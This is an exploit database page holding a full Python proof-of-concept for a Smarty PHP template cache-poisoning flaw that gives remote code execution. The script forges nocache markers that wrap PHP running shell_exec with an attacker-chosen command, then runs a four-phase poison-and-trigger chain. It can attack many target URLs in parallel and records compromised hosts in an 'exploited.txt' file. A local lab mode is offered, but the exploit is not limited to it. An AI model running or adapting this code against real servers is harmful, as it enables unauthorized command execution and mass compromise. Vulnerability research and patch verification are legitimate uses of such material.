Exploit database

GH-c46bfac3155ccfc9004f575d5675435f

murrez/cve-2026-82531

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-82531

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files7
murrez/cve-2026-82531Revision b25e723b0160

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.py

Python · 15,381 bytes
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-82531 — Smarty PHP template engine cache-poisoning → code injection (RCE).

Affected: Smarty < 4.5.8, Smarty 5.x < 5.8.5
Fixed: 4.5.8, 5.8.5
CWE-94 | CVSS 4.0 9.2 (Critical)

Mechanism (extends:/inheritance + template caching):
  Top-level compiled unifunc may leave nocache_hash null after a fresh PHP worker
  reloads compiled templates from disk. Smarty_Internal_Runtime_UpdateCache then builds
  a regex with an empty nocache-hash alternative, so attacker-controlled assigned
  template data can forge /*%%SmartyNocache:%%*/ … /*/%%SmartyNocache:%%*/ markers.
  Raw PHP inside the forged section is written into the cache file and runs on include().

This PoC implements the three-phase chain validated by upstream's NocacheHashInjectionTest:
  1) Benign render — compile + initial cache
  2) Cache evicted — compiled files remain
  3) Poison render — assign forged marker → poisoned cache
  4) Trigger render — benign assign → include() executes injected PHP

References:
  https://www.cve.org/CVERecord?id=CVE-2026-82531
  https://github.com/advisories/GHSA-3w63-v7pm-cq9x

PoC page: https://pocbit.org/pocs/cve-2026-82531
"""

from __future__ import annotations

import argparse
import base64
import json
import sys
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass, field
from pathlib import Path
from typing import Any
from urllib.parse import urlencode, urljoin, urlparse

try:
    import urllib3

    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
    pass

import requests

CVE_ID = "CVE-2026-82531"
POC_TITLE = "Smarty nocache-hash cache poisoning (CWE-94 RCE)"
POCBIT_HOME = "https://pocbit.org"
POCBIT_CATALOG = f"{POCBIT_HOME}/pocs/"
POCBIT_PAGE = f"{POCBIT_HOME}/pocs/{CVE_ID.lower()}"

VERIFY_MARKER = "POCBIT-82531-OK"
UA = f"PoCbit (+{POCBIT_HOME}) {CVE_ID}/1.0"
HITS_FILE = "hits.txt"
PWN_FILE = "exploited.txt"

LAB_HEADER = "X-CVE-2026-82531-Lab"
LAB_MARKER = "vulnerable-smarty-5.8.4"
SUCCESS_PREFIX = f"{VERIFY_MARKER}:"

_print_lock = threading.Lock()


@dataclass
class Target:
    base: str
    path: str = "/"
    param: str = "name"
    clear_param: str = "lab_clear_cache"
    use_post_poison: bool = True


@dataclass
class ExploitResult:
    url: str
    ok: bool
    phase: str = ""
    detail: str = ""
    output: str = ""
    extra: dict[str, Any] = field(default_factory=dict)


def _log(msg: str) -> None:
    with _print_lock:
        print(msg, flush=True)


def print_front(quiet: bool = False) -> None:
    if quiet:
        return
    _log("=" * 54)
    _log(f"  PoCbit  {POCBIT_PAGE}")
    _log(f"  {CVE_ID}  {POC_TITLE}")
    _log("=" * 54)


def pocbit_meta() -> dict[str, str]:
    return {
        "cve": CVE_ID,
        "pocbit": POCBIT_HOME,
        "pocbit_catalog": POCBIT_CATALOG,
        "pocbit_page": POCBIT_PAGE,
        "verify_marker": VERIFY_MARKER,
    }


def _append_line(path: str, line: str) -> None:
    with _print_lock:
        with open(path, "a", encoding="utf-8") as f:
            f.write(line + "\n")


def normalize_base(url: str) -> str:
    s = (url or "").strip()
    if not s:
        return ""
    if not s.startswith(("http://", "https://")):
        s = "http://" + s
    p = urlparse(s)
    if not p.scheme or not p.netloc:
        return ""
    port = p.port
    if port and not ((p.scheme == "http" and port == 80) or (p.scheme == "https" and port == 443)):
        return f"{p.scheme}://{p.hostname}:{port}"
    return f"{p.scheme}://{p.hostname}"


def join_url(base: str, path: str, query: dict[str, str] | None = None) -> str:
    base = base.rstrip("/") + "/"
    rel = path.lstrip("/")
    u = urljoin(base, rel)
    if query:
        sep = "&" if "?" in u else "?"
        u = u + sep + urlencode(query)
    return u


def load_targets(path: str) -> list[str]:
    out: list[str] = []
    seen: set[str] = set()
    with open(path, encoding="utf-8", errors="replace") as f:
        for line in f:
            line = line.strip()
            if not line or line.startswith("#"):
                continue
            b = normalize_base(line.split()[0])
            if b and b not in seen:
                seen.add(b)
                out.append(b)
    return out


def mk_session(_timeout: float) -> requests.Session:
    s = requests.Session()
    s.headers.update({"User-Agent": UA})
    s.verify = False
    return s


def build_nocache_php(php_inner: str) -> str:
    """Forge empty-hash SmartyNocache section (upstream regression test format)."""
    return "/*%%SmartyNocache:%%*/" + php_inner + "/*/%%SmartyNocache:%%*/"


def build_rce_marker(command: str, *, marker_prefix: str = SUCCESS_PREFIX) -> str:
    """Inject PHP that runs on cache include(); output embedded in HTTP body."""
    cmd = command.replace("\\", "\\\\").replace("'", "\\'")
    php = (
        f"<?php "
        f"$o=@shell_exec('{cmd}'); "
        f"if($o===null||$o===''){{$o='exit='.@get_last_error();}} "
        f"echo '{marker_prefix}'.base64_encode($o); "
        f"?>"
    )
    return build_nocache_php(php)


def decode_poc_output(body: str, prefix: str = SUCCESS_PREFIX) -> str | None:
    idx = body.find(prefix)
    if idx < 0:
        return None
    rest = body[idx + len(prefix) :]
    token = rest.split("<", 1)[0].split("\n", 1)[0].strip()
    if not token:
        return None
    try:
        raw = base64.b64decode(token, validate=False)
        return raw.decode("utf-8", errors="replace")
    except Exception:
        return None


def fingerprint_lab(s: requests.Session, t: Target, timeout: float) -> dict[str, Any]:
    url = join_url(t.base, t.path)
    out: dict[str, Any] = {"url": url, "lab": False, "smarty_hint": False}
    try:
        r = s.get(url, params={t.param: "guest"}, timeout=timeout)
        out["status"] = r.status_code
        out["lab"] = r.headers.get(LAB_HEADER, "") == LAB_MARKER
        out["smarty_hint"] = "Hello guest!" in (r.text or "")
        out["header_lab"] = r.headers.get(LAB_HEADER)
        out["sample"] = (r.text or "")[:200]
    except requests.RequestException as e:
        out["error"] = str(e)
    return out


def run_exploit_chain(
    s: requests.Session,
    t: Target,
    *,
    command: str,
    timeout: float,
    skip_warm: bool,
    skip_clear: bool,
    dry_run: bool,
    marker_prefix: str,
) -> ExploitResult:
    url = join_url(t.base, t.path)
    payload = build_rce_marker(command, marker_prefix=marker_prefix)

    if dry_run:
        return ExploitResult(
            url=url,
            ok=True,
            phase="dry-run",
            detail="payload built",
            output=payload[:120] + "…",
        )

    try:
        if not skip_warm:
            r1 = s.get(url, params={t.param: "world"}, timeout=timeout)
            if r1.status_code >= 500:
                return ExploitResult(url=url, ok=False, phase="warm", detail=f"HTTP {r1.status_code}")
            if "Hello world!" not in (r1.text or ""):
                return ExploitResult(
                    url=url,
                    ok=False,
                    phase="warm",
                    detail="expected Hello world! (wrong app or Smarty not using extends+cache)",
                )

        if not skip_clear:
            rc = s.get(url, params={t.clear_param: "1"}, timeout=timeout)
            if rc.status_code >= 400:
                return ExploitResult(
                    url=url,
                    ok=False,
                    phase="clear-cache",
                    detail=f"HTTP {rc.status_code} (set --skip-clear if cache already empty)",
                )
            if "cache cleared" not in (rc.text or "").lower():
                return ExploitResult(
                    url=url,
                    ok=False,
                    phase="clear-cache",
                    detail="lab_clear_cache missing — use bundled Docker lab or wait for TTL eviction",
                )

        if t.use_post_poison:
            r2 = s.post(url, data={t.param: payload}, timeout=timeout)
        else:
            r2 = s.get(url, params={t.param: payload}, timeout=timeout)
        if r2.status_code >= 500:
            return ExploitResult(url=url, ok=False, phase="poison", detail=f"HTTP {r2.status_code}")

        r3 = s.get(url, params={t.param: "benign"}, timeout=timeout)
        out = decode_poc_output(r3.text or "", marker_prefix)
        if out is not None:
            return ExploitResult(url=url, ok=True, phase="trigger", detail="RCE via poisoned cache include", output=out)
        return ExploitResult(
            url=url,
            ok=False,
            phase="trigger",
            detail=f"marker {marker_prefix} not found (patched Smarty or preconditions not met)",
            extra={"body_sample": (r3.text or "")[:300]},
        )
    except requests.RequestException as e:
        return ExploitResult(url=url, ok=False, phase="network", detail=str(e))


def cmd_payload(args: argparse.Namespace) -> int:
    if args.php_file:
        inner = Path(args.php_file).read_text(encoding="utf-8", errors="replace")
    elif args.command:
        inner = (
            f"<?php echo '{args.marker_prefix}'"
            f".base64_encode(@shell_exec('{args.command.replace(chr(39), chr(92)+chr(39))}')); ?>"
        )
    else:
        inner = args.php or "<?php phpinfo(); ?>"
    print(build_nocache_php(inner))
    return 0


def cmd_check(args: argparse.Namespace) -> int:
    t = Target(base=normalize_base(args.url), path=args.path, param=args.param)
    s = mk_session(args.timeout)
    fp = fingerprint_lab(s, t, args.timeout)
    print(json.dumps(fp, indent=2, ensure_ascii=False))
    if fp.get("lab") and fp.get("smarty_hint"):
        _log(f"[+] Lab fingerprint OK — likely exploitable with exploit subcommand")
        return 0
    if fp.get("smarty_hint"):
        _log("[~] Smarty-like greeting; confirm version < 4.5.8 or 5.x < 5.8.5 before exploit")
        return 0
    _log("[-] Target does not match bundled lab fingerprint")
    return 1


def cmd_exploit_one(args: argparse.Namespace, base: str) -> ExploitResult:
    t = Target(
        base=base,
        path=args.path,
        param=args.param,
        clear_param=args.clear_param,
        use_post_poison=not args.get_poison,
    )
    s = mk_session(args.timeout)
    return run_exploit_chain(
        s,
        t,
        command=args.command,
        timeout=args.timeout,
        skip_warm=args.skip_warm,
        skip_clear=args.skip_clear,
        dry_run=args.dry_run,
        marker_prefix=args.marker_prefix,
    )


def cmd_exploit(args: argparse.Namespace) -> int:
    bases: list[str] = []
    if args.url:
        b = normalize_base(args.url)
        if b:
            bases.append(b)
    if args.input:
        bases.extend(load_targets(args.input))
    bases = list(dict.fromkeys(bases))
    if not bases:
        print("Provide --url or -i targets.txt", file=sys.stderr)
        return 2

    workers = max(1, min(args.workers, len(bases)))
    results: list[ExploitResult] = []

    if workers == 1:
        for b in bases:
            results.append(cmd_exploit_one(args, b))
    else:
        with ThreadPoolExecutor(max_workers=workers) as pool:
            futs = {pool.submit(cmd_exploit_one, args, b): b for b in bases}
            for fut in as_completed(futs):
                results.append(fut.result())

    ok_n = 0
    for r in results:
        if r.ok:
            ok_n += 1
            line = f"{r.url}\t{r.output.strip()[:500]}"
            _log(f"[+] {r.url} — {r.detail}\n    {r.output.strip()[:400]}")
            if not args.dry_run:
                _append_line(PWN_FILE, line)
                _append_line(HITS_FILE, r.url)
        else:
            _log(f"[-] {r.url} [{r.phase}] {r.detail}")

    _log(f"\nDone: {ok_n}/{len(results)} exploited")
    return 0 if ok_n else 1


def build_parser() -> argparse.ArgumentParser:
    p = argparse.ArgumentParser(
        description=f"{CVE_ID} — {POC_TITLE} | {POCBIT_PAGE}",
        formatter_class=argparse.ArgumentDefaultsHelpFormatter,
        epilog=f"PoC page: {POCBIT_PAGE}",
    )
    p.add_argument("-q", "--quiet", action="store_true", help="Skip PoCbit banner")
    sub = p.add_subparsers(dest="cmd", required=True)

    pp = sub.add_parser("payload", help="Print forged SmartyNocache injection string")
    pp.add_argument("-c", "--command", help="Shell command for auto-built PHP wrapper")
    pp.add_argument("--php", help="Raw PHP source placed inside the forged section")
    pp.add_argument("--php-file", type=Path, help="Read PHP from file")
    pp.add_argument("--marker-prefix", default=SUCCESS_PREFIX)
    pp.set_defaults(func=cmd_payload)

    pc = sub.add_parser("check", help="Fingerprint target (bundled lab header + template greeting)")
    pc.add_argument("url", help="Base URL e.g. http://127.0.0.1:8088")
    pc.add_argument("--path", default="/")
    pc.add_argument("--param", default="name")
    pc.add_argument("-t", "--timeout", type=float, default=30.0)
    pc.set_defaults(func=cmd_check)

    pe = sub.add_parser("exploit", help="Run full warm → clear cache → poison → trigger chain")
    pe.add_argument("--url", help="Single target base URL")
    pe.add_argument("-i", "--input", help="Target list (one URL per line)")
    pe.add_argument("--path", default="/")
    pe.add_argument("--param", default="name", help="Query/POST parameter mapped to Smarty assign")
    pe.add_argument("--clear-param", default="lab_clear_cache", help="Lab-only cache flush query param")
    pe.add_argument("-c", "--command", default="id", help="Shell command executed on trigger phase")
    pe.add_argument("-w", "--workers", type=int, default=5)
    pe.add_argument("-t", "--timeout", type=float, default=45.0)
    pe.add_argument("--skip-warm", action="store_true", help="Skip phase-1 compile (templates already on disk)")
    pe.add_argument("--skip-clear", action="store_true", help="Skip cache clear (already evicted)")
    pe.add_argument("--get-poison", action="store_true", help="Send poison via GET (default POST avoids URL limits)")
    pe.add_argument("--dry-run", action="store_true")
    pe.add_argument("--marker-prefix", default=SUCCESS_PREFIX)
    pe.set_defaults(func=cmd_exploit)

    sub.add_parser("lab", help="Print docker-compose one-liner for local lab").set_defaults(func=cmd_lab)

    return p


def cmd_lab(_args: argparse.Namespace) -> int:
    print(
        "docker compose up --build -d\n"
        "# check:  python poc.py check http://127.0.0.1:8088\n"
        "# exploit: python poc.py exploit --url http://127.0.0.1:8088 -c id"
    )
    return 0


def main() -> int:
    parser = build_parser()
    args = parser.parse_args()
    print_front(getattr(args, "quiet", False))
    return int(args.func(args))


if __name__ == "__main__":
    sys.exit(main())